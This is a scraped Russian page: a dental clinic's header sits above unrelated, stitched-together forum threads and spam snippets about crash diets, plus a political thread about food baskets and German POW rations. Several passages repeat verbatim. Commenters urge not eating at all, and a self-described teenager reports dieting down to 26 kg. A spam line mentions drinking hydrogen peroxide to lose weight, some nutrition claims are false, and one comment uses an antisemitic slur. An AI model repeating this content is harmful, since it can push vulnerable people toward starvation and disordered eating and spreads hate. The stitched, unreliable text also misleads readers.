Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Уйдут ли объёмы?

Попробуй диету Дюкана, не такая шизанутая, а результаты довольно быстро первые появляются

Экстремальная диета на финиках. Пожалуй, тяжелее всего худеть сладкоежкам, так как первоочередным правилом большинства диет является полный отказ от сладкого.Выход есть это диета на финиках.

Если смотреть на картинку ничего не уйдет, бег и интенсивные кардио тренировки каждый день

Очень мало белка в рационе. Одряхлеешь вместе с потерей объёмов. Только вот жир восстановится очень легко, а мышцы - нет. Чаще включай обезжиренный творог и варёные яйца.

Уйти то уйдут, но вот от экстремальных дмет вес быстро возвращается

Бред!

Уйдут. Только выход правильный сделай из такой "диеты".

Выход из диеты это не один счастливый миг, это как минимум половина срока, который вы провели на диете. К примеру, если ты выдержала на строгой диете 14 дней, то период выхода из не составит не менее 7 дней.

Уйдут однозначно!

После такой диеты они вернутся и еще объемов приведут. Все диеты - в топку. Здоровое питание и моцион больше рациона -все само собой испарится. Медленно, но безболезненно для организма. И безвозвратно!

Хочу быстро похудеть!!!

Хотеть не вредно

Что принимать чтобы похудеть как восстановить месячные после похудения,гречневая диета выход из диеты,как пить перекись водорода для похуденияВидео дня. Диеты gt Экстремальные диеты для быстрого похудения.

Вот как раз быстро, худеть вредно.

Быстро худеть опасно для здоровья и мозга. к тому же, это ненадолго. лучше медленно, но верно. это я тебе говорю как человек, который за 4 года как только не худел...

«Жан-Мишель Коэн: Диета парижанки.
Экстремальные методы тоже бывают действенными, но, как правило, это действие носит временный характер. Происходит быстрое, резкое похудение, затем некоторое время сохраняется желаемый вес. При этом человек привыкает к достигнутому результату и начинает опять получать удовольствие от пищи. Нередко это приводит к тому, что он возвращается в первоначальное состояние. Таков механизм действия циклической ловушки. Попадая в нее, люди постепенно с тем, что вес – «величина непостоянная» : он то приходит в норму, то становится избыточным. Можно даже найти логические обоснования такого качания веса, или считать его нормально. Но в США провели научное исследование и установлено, что продолжительность жизни людей со стабильным лишним весом выше, чем у людей, вес которых постоянно скачет. Причем чем больше колебания веса, тем труднее в следующий раз скидываются лишние килограммы. Причина этого кроется в двух гормонах-антагонистах, пр исутствующих в организме: грелине и лептине. Лептин обеспечивает человеку чувство сытости, наполненности желудка, а грелин – ощущение голода и повышение аппетита. При выраженных скачках веса отмечается повышение количества грелина и снижение уровня лептина. Проблема обычно усугубляется другими факторами, такими как недостаток сна, с которым сталкиваются многие взрослые люди. В таком случае выработка лептина еще уменшается, а грелина, наоборот, усиливается. Другими словами, чем больше избыточный вес, тем сильнее человек растолстеет при неоднократных попытках похудеть. Единственным выходом из такого положения дел является изменение своего пищевого поведения навсегда. Коэн предлагает систему, которая имеет существенные отличия от большинства других: - можно есть все; - рацион питания может включать алкогольную продукцию и фаст-фуд; - в списке продуктов нет определенных, поэтому составлять свое меню каждый может на свой вкус; - при использовании диеты уровень холестерина не повы шается; - полученный результат сохраняется длительное время даже без физических упражнений; - формула Коэна является в своем роде революционной и позволяет определить, достигнуть и сохранить оптимальный вес. Несколько рекомендаций Коэна по питанию, взятых из Парижской диеты правильного питания. »

Очень много быстрых диет)) советую тебе присмотреться к диете Офигенная)) классно помогает, если не сорвешься))

Хоти, а потом не родишь ребенка. Я одна из TA,дохуделась такими диетами до 35-38 кг (на данный момент) минимальный был 26.скоро 16 мне, со здоровьем все хорошо но надо набирать вес теперь

Тощая диета - одна из экстремальных и действенных диет по максимальному сбросу веса за короткий срок.Важно не забывать про правильный и постепенный выход как после 14-ти дневной, так и после недельной тощей диеты.

Я вот например завтракаю яблоком зелёным а в обед делю тарелку на 3-и части крупа каждую неделю разная или картошка варёная на воде без соли и сахара кусочик куриной грудки ворёной или рыба и салат или тушенные овощи в течении оставшигося дня пью чай или воду и худею за месяц -10кг

Подскажите диетку ... хочу до НГ скинуть кг так 5..

Не жрать!

Выход из диеты при выходе из диеты два-три дня на завтрак ешьте запаренную овсянку с яблоком.Выходить из экстремальных диет следует очень осторожно, не набрасывайтесь на еду, это не только сведет ваш результат к нулю, но также может навредить здоровью.

Жрать меньше надо.

Могу посоветовать много дите, но для начала скажу- зачем к НГ? уж лучше после. а то в новогоднюю ночь нажрётесь, к вам вес не только вернётся, но может и увеличиться.
ДИЕТА НОМЕР РАЗ. День первый - 1 кг вареного картофеля.
День второй -1 кг сырой капусты.
День третий - 1 кг вареной свеклы.
День четвертый - 1 кг сырой морковки.
День пятый - 1 кг яблок.
День шестой - 1 кг огурцов.
День седьмой - 1 кг яблок.
День восьмой - 1 л молока.
День девятый - 1 л кислого молока или кефира.
День десятый - 100 гр вареного риса.
1. обязательно пить в день минимум 2 литра минеральной воды. Можно зеленый чай (без сахара) .
2. запрещается кофе, сахар, соль.
3. диету можно повторить только через две недели.
ДИЕТА НОМЕР ДВА. Для быстрого похудения есть такая диета рассчитаная на 7 дней:
1день - кефир+картошка (2-3 шт свареные в мундире) я ела с помидорами.
2день - кефир+вареная курица (Филе примерно 2 кусочка)
3день - кефир+говядина вареная (её съедала меньше- 1 небольшой кусочек отваривала)
4день - кефир+вареная рыбка филе. (мне было противно есть, я заменяла курицей)
5 день - кефир+овощи и фрукты
6 день- только кефир
7 день - только вода.
Советую ограничиться 5 днями. Но если продердаться 7 дней можно похудеть до7 кг. (зависит от изначального веса)
ДИЕТА НОМЕР ТРИ. Мама рассказала, как она с подругами сидела на диете и сбросила 12 кг.
Меня это конечно заинтересовало.
Короче так:
1 день - 1 литр молока и три ломтика хлеба. Это всё. Надо это рассчитать на весь день.
2 день - тоже самое.
3 день - курица, мясо, рыба.
4 день - как 3.
5 и 6 дни - фрукты, овощи, сок.
Потом повторить всё ещё раз.
______________________________
конечно, пытайтесь физ. нагрузки доабвить, но не очень много-всё и сразу не получится.
удачи)

Глупо до н. г. потому что после новогодней жратвы наберешь и 10...лучше после. . я буду лично после

Ограничить употребление углеводов (мучное, сладкое, картофель) , не кушайте после 18.00, пейте 1,5-2 литра воды в день, заняться спортом, или гимнастику делать, упражнения различные
я в свое время худела по диете Ларисы Долиной, очень действенная диета, я довольна!
1-й день: 400 г печеного картофеля без соли и 0,5 л кефира 1% жирности (это на весь день) .
2-й день: 400 г обезжиренного творога и 0,5 л кефира.
3-й день: 400 г фруктов (кроме бананов и винограда) и 0,5 л кефира.
4-й день: 400 г отварных куриных грудок без соли и 0,5 л кефира.
5-й день: 400 г фруктов и 0,5 л кефира.
6-й день: 1,5 л минеральной воды без газа
7-й день: 400 г фруктов и 0,5 л кефира.
После недели диеты питаетесь как обычно, но с ограничением сладкого, жирного, острых блюд и мучного. Это надо для закрепления веса. Возможно, что за это время прибавится килограмм. Спустя семь дней вновь приступите к диете - пока не достигнете желаемого результата.
1. Каждый день нужно употреблять только определенный вид пищи. Например, творог или вареную курицу. Запивать кефиром, настоем трав и водой.
2. Продукты надо делить на маленькие порции и есть через каждые два часа с 8.00 до 18.00. После - ни-ни!
P.S. Я вместо 6-го дня, где нужно пить воду, кушала фрукты с кефиром, потому что это очень сложно лично для меня, и все равно похудела!

Хотя певец и отличился в последнее время, но его яично-грейпфрутовую диету вполне можно использовать, что бы похудеть к новому году. За неделю - 4-5 кг легко

Сразу скажу - через некоторое время после Диеты экстремальная 5 кг за три дня вес вернулся, и пришлось сгонять его более обстоятельно.Время использования 1 раз. Общее впечатление Экстренная мера к праздничному выходу.

Фигура еще так далека от совершенства.. . Что же делать? Нужно какое-то эффективное и быстрое средство для похудения. И при этом совсем не хочется истязать собственный организм немыслимыми нагрузками или экстремальными продуктами. Итак, мы хотим похудеть, при этом оставаясь бодрыми и жизнерадостными. То есть нам нужна диета, которая поможет эффективно снизить вес и не голодать при этом.
Такая диета существует – гречневая. Она рассчитана на одну неделю, но наиболее стойкие дамы выдерживают и до двух недель. Именно о ней мы и поговорим на МирСоветов.
Продукты для гречневой диеты
Суть проста: берем один стакан не дробленой гречневой крупы, заливаем двумя стаканами кипятка и оставляем настаиваться на ночь. Утром едим только гречку, запивая ее 1% кефиром. Солить, сластить и добавлять масло в гречку нельзя. Съесть за один раз можно «сколько влезет» - несоленая гречка обладает настолько специфичным вкусом, что вряд ли вы съедите больше 10 ложек за раз. Кефир должен быть свежим и не сладким. В первый день гречневой диеты вполне достаточно будет одного стакана заваренной гречневой крупы (то есть двух стаканов готового продукта) . Но если почувствуете, что можете съесть больше, на другие дни заваривайте большее количество крупы (пропорция та же: 1 часть гречки, две части воды) . Но при любом количестве гречки вы можете выпивать не более 1 литра кефира в день. Тем, кто не мыслит свое утро без чашки кофе, можно не отказывать себе в этом удовольствии, только кофе должен быть слабым и без сахара. То же можно сказать и любительницам чая. На время сидения на гречневой диете лучше перейти на зеленый чай. Если будет уж очень тяжело кушать одну гречку, можно сделать себе послабление в виде одного-двух яблок или апельсинов в день. В принципе, можно есть любые фрукты кроме бананов и винограда. Все зависит от количества съеденных фруктов, если съесть слишком много, потом просто не сможете вернуться к суровой гречневой диете. Когда станет совсем невмоготу все время кушать несоленую гречневую кашу, можно сдобрить ее соевым соусом. Только соус должен быть низкокалорийный и без соли. Во время гречневой, как во время большинства других диет, крайне не желательно есть после 6 часов вечера. Но если вам трудно следовать этому правилу, оставьте на вечер полстакана кефира, долейте водой до полного и выпейте это перед сном.
Что происходит с организмом во время гречневой диеты?
Начнем с того, что гречневая крупа очень полезна, в ней содержатся такие микроэлементы как железо, калий, магний, кальций. Кроме того, гречка укрепляет стенки сосудов. Вдобавок, содержащийся в гречке витамин В повышает устойчивость организма к стрессам и улучшает состояние кожи, волос и ногтей.
Отрицательная сторона гречневой диеты в том, что вы не будете получать ни соли, ни сахара. Поэтому эту диету следует применять с осторожностью людям, у которых диабет и/или гипертоническая болезнь. Несоленая гречка выводит из организма шлаки и лишнюю воду. Из-за того, что в организм не поступает соль, периодически возможны головные боли, а также это может спровоцировать падение артериального давления. Пока мы сидим на гречневой диете, мы обделяем свой организм и сахаром. А сахар – это глюкоза, которая так необходима мозгу для эффективной работы. Поэтому во время гречневой диеты вы можете почувствовать, что голова стала соображать хуже и безумно хочется сладкого. Выход есть: разведите чайную ложку меда в стакане воды и выпейте этот «напиток» . Не бойтесь, вся глюкоза достанется мозгу, а не отложится на бедрах.
Пока вы будете есть только гречку и пить кефирчик, организму придется пускать в оборот свои резервы – сжигать жир, чтобы обеспечить организм недостающими питательными веществами. В результате ускорится обмен веществ и сжигание жира пойдет быстро и легко.

Почему при приеме пищи усваивается только 20 гр белка, и если съесть пол кг творога, то из 80 грамм 60 уйдут в никуда?

30 - 40 грамм белка усваиваются за раз, а твой напиток содержит 44.5 белка, углеводов 28, жиру уже там по творогу и молоку посмотришь, все должно усвоиться за раз

Диета Краткосрочные диеты 5 кг за 3 дня экстремальная диета.Эта диета подойдет, если праздники оставили о себе память в виде нескольких лишних килограммов.

Лучше бы вы собрались и поизучали биологию. мясо растет от гормонов, еда при наборе массы дело 5-е. 150-е килограммовые тетки едет даже меньше, чем 50-е килограммовые чики)

Все в толчек, пустое перерабатывания, лучше по чутка и часто передышка 3 часа

У всех белок усваивается по-разному) то есть, если человек много есть мяса, яиц, творог, хорошо питается, то есть белок в организме будет в норме, то организм будет усваивать 20-30грамм) а если у человека дефицит белка, он плохо питается, голодает, то само собой организму будет лучше его перерабатывать, то что организму не хватает, он будет лучше ценить) короче, у всех по-разному, но 20-30г усвоиться 100%,так зачем рисковать, и гадать если можно за раз 25г бахнуть и не думать ни о чём) вот, посмотри, если хочешь узнать всё http://www.youtube.com/watch?v=I0dxQXIHlEc

Сколько нужно столько и усваивается. нужно-20 грамм усвоится 20 грамм. нужно 100 грамм-усвоится 100 грамм.

Усвоится в среднем 30 грамм! выход есть чаще 4-6 раз в день! странно вы массу собираетесь растить! масса растет только от занятий в качалке со штангой а не от гимнастики

Выход из диеты космонавтов. Итак, прошло 10 дней и вас можно поздравить с отличными результатами минус 10 кг!А это экстремальный рацион, которого рекомендуется придерживаться не более 2-3 дней.

Белок не усваивается организмом. Он расщепляется на аминокислоты для поддержания тела. Мышцы растут не засчет потребления белка, а за счёт использования их. Физические нагрузки заставляют мышцы расти. Каким образом? Происходит разрушение мышечной ткани и после разрушения начинается процесс восстановления. Таким образом растут мышцы, белки только поддерживают их. Поэтому все эти теории высоко белковых диет - глупость. Допустим, вы ведете активный образ жизни, если пользоваться таблицей подсчета калорий, которую используют диетологи, то вам нужно потреблять 3000 ккал. ежедневно из них вам достаточно 5-8% белка. Это 36-
45 грамм белка в день, если вы при этом весите 68 кг. Мышцы состоят из 70% воды. Следуя логики этой теории высокобелковой диеты, логичнее пить воду, чтобы росли мышцы, чем белок. Но это опять же бред, потому что от воды не растут мышцы. Это факт. Теория абсурдная, но под неё попадают 99% людей. Чрезмерное потребления белка образует в организме токсины, которые отравляют тело и из-за этого образуются болезни, например запоры, радикулиты и т. д.

Это бред, усваивается больше, читайте теорию.

Как за неделю сбросить 5кг??

Перестать есть и пить соки.

Причем выход не самый сложный. Нужно просто придерживаться экстремальной диеты.Конечно, экстремальные диеты это сложно и это все равно, несмотря ни на что стресс для организма.

Есть один способ, правдо оч болезненый)
Мой брать отровился какойто фигней и за 2 дня збросил 7кг

Чистку организма сначала сделайте
а потом на зеленом чае сидити или на кефире всю неделю

Мдаа уж ..не советую вам обращаться к "болезненным " методам борьбы с пятью килограммами.. на 5 кг реально похудеть за неделю только при экстремальных нагрузках.. и минимальном количестве потребления калорий. . Ну а вообще я против всех диет, правильное питание - вот ключ к успеху

А за месяц - 20 кг. ,а за полгода будете как шарик на веревочке за кем то лететь!
Будьте более реалистичны. без вреда для здоровья это 4-5кг. в МЕСЯЦ!!!

Если честно что бы они не прикачевали к вам тут же обратно нужно было заботится об этом месяца за 2.Потому что быстрые диеты дают не длительный эффект и кг возвращаются на место при чем с излишком.
Норма сбрасывания веса 2-3 кг в месяц (если лишнего веса очень много 5кг ).Что бы на долго и без последствий.

Экстремальная диета. admin 20 Февраль 2015 0 comments. Диеты,Маложирные диеты,Низкокалорийные диеты,Низкоуглеводные диеты.Существует несколько модификаций экстремальной диеты. Ее продолжительность обычно составляет от 3 до 7 дней.

Фигура еще так далека от совершенства.. . Что же делать? Нужно какое-то эффективное и быстрое средство для похудения. И при этом совсем не хочется истязать собственный организм немыслимыми нагрузками или экстремальными продуктами. Итак, мы хотим похудеть, при этом оставаясь бодрыми и жизнерадостными. То есть нам нужна диета, которая поможет эффективно снизить вес и не голодать при этом.
Такая диета существует – гречневая. Она рассчитана на одну неделю, но наиболее стойкие дамы выдерживают и до двух недель. Именно о ней мы и поговорим на МирСоветов.
Продукты для гречневой диеты
Суть проста: берем один стакан не дробленой гречневой крупы, заливаем двумя стаканами кипятка и оставляем настаиваться на ночь. Утром едим только гречку, запивая ее 1% кефиром. Солить, сластить и добавлять масло в гречку нельзя. Съесть за один раз можно «сколько влезет» - несоленая гречка обладает настолько специфичным вкусом, что вряд ли вы съедите больше 10 ложек за раз. Кефир должен быть свежим и не сладким. В первый день гречневой диеты вполне достаточно будет одного стакана заваренной гречневой крупы (то есть двух стаканов готового продукта) . Но если почувствуете, что можете съесть больше, на другие дни заваривайте большее количество крупы (пропорция та же: 1 часть гречки, две части воды) . Но при любом количестве гречки вы можете выпивать не более 1 литра кефира в день. Тем, кто не мыслит свое утро без чашки кофе, можно не отказывать себе в этом удовольствии, только кофе должен быть слабым и без сахара. То же можно сказать и любительницам чая. На время сидения на гречневой диете лучше перейти на зеленый чай. Если будет уж очень тяжело кушать одну гречку, можно сделать себе послабление в виде одного-двух яблок или апельсинов в день. В принципе, можно есть любые фрукты кроме бананов и винограда. Все зависит от количества съеденных фруктов, если съесть слишком много, потом просто не сможете вернуться к суровой гречневой диете. Когда станет совсем невмоготу все время кушать несоленую гречневую кашу, можно сдобрить ее соевым соусом. Только соус должен быть низкокалорийный и без соли. Во время гречневой, как во время большинства других диет, крайне не желательно есть после 6 часов вечера. Но если вам трудно следовать этому правилу, оставьте на вечер полстакана кефира, долейте водой до полного и выпейте это перед сном.
Что происходит с организмом во время гречневой диеты?
Начнем с того, что гречневая крупа очень полезна, в ней содержатся такие микроэлементы как железо, калий, магний, кальций. Кроме того, гречка укрепляет стенки сосудов. Вдобавок, содержащийся в гречке витамин В повышает устойчивость организма к стрессам и улучшает состояние кожи, волос и ногтей.
Отрицательная сторона гречневой диеты в том, что вы не будете получать ни соли, ни сахара. Поэтому эту диету следует применять с осторожностью людям, у которых диабет и/или гипертоническая болезнь. Несоленая гречка выводит из организма шлаки и лишнюю воду. Из-за того, что в организм не поступает соль, периодически возможны головные боли, а также это может спровоцировать падение артериального давления. Пока мы сидим на гречневой диете, мы обделяем свой организм и сахаром. А сахар – это глюкоза, которая так необходима мозгу для эффективной работы. Поэтому во время гречневой диеты вы можете почувствовать, что голова стала соображать хуже и безумно хочется сладкого. Выход есть: разведите чайную ложку меда в стакане воды и выпейте этот «напиток» . Не бойтесь, вся глюкоза достанется мозгу, а не отложится на бедрах.
Пока вы будете есть только гречку и пить кефирчик, организму придется пускать в оборот свои резервы – сжигать жир, чтобы обеспечить организм недостающими питательными веществами. В результате ускорится обмен веществ и сжигание жира пойдет быстро и легко.

Продуктовая корзина россиянина в 2011г. и пленного немца в 1941 г. Ваше мнение? см. внутри

Ну и горазды жрать эти фрицы) )
А если серьёзно, то моя продуктовая корзина состоит из других продуктов ( плюс к этим).. . И нормы их в разы выше... Думаю, что как и у многих. Сладкое ну уж никак не 60 г. Все сладкие новогодние подарки ( из сада, с ёлок, от родственников) детей не заинтересовали...

Экстремальная диета - описание и отзывы.Экстремальная диета. С расчетом на 1 день 7 яиц, 7 грейпфрутов. Яйца варить ровно 10 минут, затем разрезать все яйца пополам и вынуть желток.

В стране огромное количество людей с избыточной массой так что плакать что не доедаеш рано

А в СССР все кормили лучше чем Русских, даже военнопленных.

:) кто ж будет эти граммы выщитывать..) на аптекарских весах чтоли..) )
мы не в плену) ) даже когда люди на диетах сидят, и то больше едят)

Это так "родное" государство печётся о своих гражданах! Уря-я-я-я....

Сейчас люди живут хуже чем когда то жили пленные немцы.

Экстремальные диеты строгие . Существует много видов экстремальных диет.Долгосрочные щадящие диеты . Эти диеты не дадут Вам быстрого результата, но для женского здоровья они более безопасны.

Ага, хорошо немцы в плену жили, из 100.000 взятых в плен в Сталинграде домой вернулись 5.000.От переедания остальные перемёрли.

И чем дальше... тем страшнее....

Я считаю, что и те ...
..и другие.. .
ЛЮДИ!! !
А КОРМИТЬ НУЖНО ВСЕХ ОДИНАКОВО... .
ХОРОШО !!!

Живут же люди в Европе - у них на питание в месяц тратится только 10% зарплаты, а у нас почти вся.. . остаётся только за ЖКХ заплатить и тю-тю месячная зарплата.

Хорошо было на бумаге.
Продуктовая корзина рассчитывается не для того, чтобы (как в девяностых годах или во время войны) выдавать людям паёк, а для того, чтобы определять малообеспеченные семьи и им оказывать помощь в виде выплат и субсидий.
Я гляжу в школе многие "бедные" дети "с голоду" пухнут.
Да и у многих взрослых та же проблема.

Выход из Офигенной диеты. Поскольку диета рассчитана на двухнедельный срок, то выходить из нее нужно не менее месяца. Проверенный вариант на основе системы Минус 60 Екатерины Миримановой, это позволяет закрепить достигнутый результат...

Хочу быть немецким пленным!!!!

Жрут они много, я заметил, чтто мы кушаем только вкусненького много

Так давайте в плен пойдем

То есть немцы жировали? А как тогда объяснить массовую гибель немецких военнопленых от голода и инфекционных болезней? Из 2550 000 немецких военнопленных, Фаттерланд увидели только 2 000 000. Остальные остались навечно в русской земле!
Так что не надо врать - любой нищий питается лучще любого немецкого военнопленого!
а Таблица- бред

Нашей корзины, как и пенсии, хватает только на хрен с маслом !

Тощая диета - одна из экстремальных и действенных диет по максимальному сбросу веса за короткий срок.Важно не забывать про правильный и постепенный выход как после 14-ти дневной, так и после недельной тощей диеты.

Вообще обидно

Надо меньше жрать!! ! Пусть немцы пухнут, а мы будем стройными, как северокорейцы! Не нужно будет ломать голову, как похудеть. Это же благо, а вы не понимаете...)))

Я не поняла.
где-то 1 кг 250 гр или около того - это на месяц или где?
Это что за столы такие ненормальные

Вот как жить надо - 140 грамм и радуйся. А рыбы -то 40 грамм, я креветок пачку за раз без пива могу слопать, вы че, охренели совсем.

Кормили для того, что бы работали с большей отдачей.

Она возможна в мягком варианте, наиболее безопасном для здоровья, который предлагаем вам мы, но возможна и совершенно экстремальная жесткая монодиетаДиета подходит и для мужчин, и для подростков, но не допустима для детей. Выход из грейпфрутовой диеты.

Ну что, ловим воров, особенно со стажем более 30 лет.

Еще один аргумент в пользу того что мы находимся под оккупацией.

В СССР иностранцев всегда лучше кормили, даже пленных))

Больше всего мне интересно, кто все это высчитывает, и пробовал ли он так питаться. Если да, то на сколько его хватило.

Что-то мне не верится что у пленных был такой дивный рацион.

Отчет о диете. Выход из диеты. компот. диета подходит к концу. Последние читатели0. Аха, отвесик -с дни привесик в 300гр после выхода с диеты. Вот так.... Ответить.

Ноу коментс...

Это в Сутки?.. Россияне больше жрут сейчас 1 человек больше советской семьи..

Спасибо путину.

Если провести анализ с точки зрения белков, жиров и углеводов, то у россиян более правильное и сбалансированное питание... а немецких военнопленных большое количество углеводов - они способствуют быстрой насыщаемости организма и человек может много работать.. . или быть хорошим "подопытным кроликом" к сожалению

А куда деваются продукты из огромных тележек в супермаркете у людей?
Единственно качество этих маргариновых изделий. Вполне возможно что кроме жиров и углеводов крахмала и разрыхлителей с ароматизаторами там ничего и нет. Поэтому такие показатели.
Но если честно, самый наверное показательный пример, летела на самолете - столько людей которые не помещаются в проход, и вроде возраст нормальный, не пожилые. .

Выход из питьевой диеты. 30 Апрель 2014 автор admin Оставить сомментарий.Это может случиться после любой экстремальной диеты, которая предполагает не только быстрое похудение, но и запрет на занятия спортом.

И не забудьте что когда в России был голод в германию гнали эшелоны с хлебом

Придумал кто-то глупость и все давай ее обсуждать.. .
Возможно пленным немцам и полагались такие пайки, возможно нет.. . Возможно, выдавались полностью, возможно - частично.. . Но факт, что на большее они не могли рассчитывать. .
А нынешняя продуктовая корзина - это лишь некая минимальная расчетная величина. На самом деле подавляющее большинство населения питается в разы лучше.

Для начала надо по вкалывать как пленные немцы а затем корзины сравнивать.

Очень сомнительные цифры

Надо сдаваться в плен немцам

Однако человеческий организм, не привыкший сдаваться, находит выход из ситуации начинает поедать себя.Вред экстремальных диет. Сразу следует отметить, что быстрых диет без вреда для здоровья попросту не существует, однако женщины, погруженные в свои...

Всё это раньше называлось пропагандой. Интересно что сейчас пропагандируется, как на Руси жить хреново? Тогда для сравнения надо было бы и Сталинскую, и Брежневскую, И Николая Второго продуктивные корзины представить.

Ну вот зачем спрашивать такую откровенную ерунду?
Вы хотите сказать, что Вы, да и другие люди тут, прямо такие голодающие?
Хлеба нет, икру прямо на масло мажут?
И жалких грошей хватило только на комп, даже на корочку хлеба этого не хватит?
А огромные корзины у российских людей в супермаркетах - это, наверное, при выходе Путин с Медведевым налетают и всё отбирают?
Вы что, хотите сказать, что сейчас люди живут хуже и едят меньше, чем ленные немцы, да и вообще русские люди после войны?
Вот откровенную фигню писать не надо.

Да уж...

Продуктовая корзина росиянина, это КРОХИ со стола тех, кто ПРИВАТИЗИРОВАЛ наши богатства . Приём жидовский, одни печатают доллары, в России напечатали ВАУЧЕРЫ, ну а как их РАСПРЕДЕЛИЛИ и КТО это делал НАДО БЫ РАЗОБРАТСЯ и КТО ПЕЧАТАЛ их в ТО СМУТНОЕ время . Это моя точка зрения А эти пайки, чтобы ВЫМЕРЛИ те, кто был СВИДЕТЕЛЕМ этой ПРИХВАТизации

Видимо, россияне тоже в плену . Непонятно, у кого, может у Газпрома ?

Почему вопрос выхода из японской диеты заслуживает отдельной статьи? Почти каждый, кто пытался сбросить лишние килограммы, соблюдая строгий режим питания, сталкивался с очень неприятной проблемой.

Нет ничего удивительного в том, что некоторые позиции в продуктовых корзинах разных лет близки по своим значениям. Ведь человек мало изменился в своих геометрических данных и физиологических и потребностях. Нормы потребления, необходимые для жизнедеятельности организма разработаны давно и опробованы в разных странах на практике. Я был свидетелем эксперимента, когда рабочий персонал в течение двух месяцев кормили разными, но сбалансированными продуктами. И не факт, что тот, кто потреблял более "вкусную" пищу становился по медицинским показаниям здоровее и работоспособнее тех, кто сидел с ним за одним столом, завидуя довольному едой соседу.

И чем же тебя макароны и свекла варёная так заинтриговали? Наверно количеством грамм.

Это элементарно едросы взяли страну в плен и хотят её уморить

Все приходит к одному знаменателю

У пленных немцев питание было здоровее с медицинской точки зрения. В нынешней России многие показатели по питанию выше у сидящих за решеткой, чем в продуктовой корзине

Экстремальная диета на то и экстремальная, что значительно ограничивает рацион питания и является весьма жесткой.За счет жесткого ограничения в пище, сбросить на экстремальной диете возможно от 5 килограммов за три дня до 10 за неделю .

В советском плену погибло 40 % пленных немцев, наверное от переедания, сравни с оационом советских колхозников
Вели дела обменные Сопливые острожники - На стройке немцы пленные На хлеб меняли ножики.
ВС Высоцкий

Если бы не просрали советы в 1992 году то у нас продолжали бы выбрасывать хлеб на помойку, как 20 лет выбрасывали его от избытка .. при брежневе

Людииии, ну как похудеть за пол года?

После 18 часов не есть.

Экстремальная диета на финиках. Пожалуй, тяжелее всего худеть сладкоежкам, так как первоочередным правилом большинства диет является полный отказ от сладкого.Выход есть это диета на финиках.

Тренажерный зал поможет на 100%,

Интенсивные тренировки и баня.

Секас, но если Вы в этом упёртые то бегать. Шерсяной костюм на голоое тело, сверху непродуваемый и бегом, так сгоняют где весовые категории. У меня бы моментом похудела

Спорт дабавь

При росте 161 и весе 71 вы не толстая? Ну не лгите.
Лучшее средство, чтобы похудеть - не есть! +Спорт, чтобы раскачать обмен веществ.

Выход из диеты это не один счастливый миг, это как минимум половина срока, который вы провели на диете. К примеру, если ты выдержала на строгой диете 14 дней, то период выхода из не составит не менее 7 дней.

Самое лучшее это худеть по Аюрведе ...сама сбросила 20 кило на этом образе жизни и держу вес уже много лет. Вот на этом сайте всё об этой системе
http://hochu-smogu.ru/ayurveda-luchshiy-sposob-pohudet/sistema-ayurveda/ayurveda-sovetyi-na-kazhdyiy-den
В этой статье только основы . Там много инфы: таблицы как правильно продукты совмещать, как свою конституцию определить и составлять диету согласно ей, а не абы ка бы, как правильно заниматься йогой, чтобы сдвинуть заторможенный обмен веществ. Без насилия над собой уходит лишний вес по такой системе . И только не надо как вам предлагали тут не есть! От этого только огонь пищеварения станет меньше и вес еще больше будет расти в конечном итоге.

«Жан-Мишель Коэн: Диета парижанки экстремальные методы тоже бывают действенными, но, как правило, это действие носит временный характер. Происходит быстрое, резкое похудение, затем некоторое время сохраняется желаемый вес. При этом человек привыкает к достигнутому результату и начинает опять получать удовольствие от пищи. Нередко это приводит к тому, что он возвращается в первоначальное состояние. Таков механизм действия циклической ловушки. Попадая в нее, люди постепенно с тем, что вес – «величина непостоянная» : он то приходит в норму, то становится избыточным. Можно даже найти логические обоснования такого качания веса, или считать его нормально. Но в США провели научное исследование и установлено, что продолжительность жизни людей со стабильным лишним весом выше, чем у людей, вес которых постоянно скачет. Причем чем больше колебания веса, тем труднее в следующий раз скидываются лишние килограммы. Причина этого кроется в двух гормонах-антагонистах, пр исутствующих в организме: грелине и лептине. Лептин обеспечивает человеку чувство сытости, наполненности желудка, а грелин – ощущение голода и повышение аппетита. При выраженных скачках веса отмечается повышение количества грелина и снижение уровня лептина. Проблема обычно усугубляется другими факторами, такими как недостаток сна, с которым сталкиваются многие взрослые люди. В таком случае выработка лептина еще уменшается, а грелина, наоборот, усиливается. Другими словами, чем больше избыточный вес, тем сильнее человек растолстеет при неоднократных попытках похудеть. Единственным выходом из такого положения дел является изменение своего пищевого поведения навсегда. Коэн предлагает систему, которая имеет существенные отличия от большинства других: - можно есть все; - рацион питания может включать алкогольную продукцию и фаст-фуд; - в списке продуктов нет определенных, поэтому составлять свое меню каждый может на свой вкус; - при использовании диеты уровень холестерина не повы шается; - полученный результат сохраняется длительное время даже без физических упражнений; - формула Коэна является в своем роде революционной и позволяет определить, достигнуть и сохранить оптимальный вес. Несколько рекомендаций Коэна по питанию, взятых из Парижской диеты правильного питания. »

С утра ем яблоко в обед делю тарелку на 3-и части крупа каждую неделю разная или картошка варёная на воде без соли и сахара кусочик куриной грудки ворёной или рыба и салат или тушенные овощи в течении оставшигося дня пью чай или воду и худею за месяц -10кг если хочу сорваться закрываю глаза и в тарелке червей ползующих предстовляю или програмы включаю про людей у которых вес 200-500кг мне это помогает от срыва у тебя все мечты сбудутся главное верь в себя и всё получется ты сильная

Посоветуйте диету на неделю

Откажись от диет- это самообман.. . лучше постепенно меняй образ жизни в направлении к своему идеалу, но постепенно!

Что принимать чтобы похудеть как восстановить месячные после похудения,гречневая диета выход из диеты,как пить перекись водорода для похуденияВидео дня. Диеты gt Экстремальные диеты для быстрого похудения.

Правильное питание! кушай 4-5 раз в день по чуть чуть + пей до 2 л. именно чистой воды, не ешь за 4 часа до сна и занимайся спортом!

Разгрузочная - гречневая.... результат - 2-3 гк за недёлю!

Ешьте часто, через каждые три часа. но понемногу. чтобы каллорапж не превышал 300 ккал.
это завтрак (обязательно) , 2 завтрак (фрукты) , обед, полдник (фрукты) , ужин, и на ночь кефир. получается шесть раз. проголодаться не успеваете. организм ничего не понимает, и не ставит режим накопления, не снижает обмен веществ.
ешьте курятину без кожицы, крольчатину или индюшатину. на гарнир овощи, морскую капусту или немного вареной картошки. пейте зеленый чай1 или кефир 1%.
спите не менее 8 часов. займитесь танцами, особенно хорош танец живота. снимает жир в области талии, бедер и попы.
и бывайте на улице, гуляйте не менее 3 часов!

Я сидел на диете 14 дней и потерял всего две недели. Тоти Филдс.
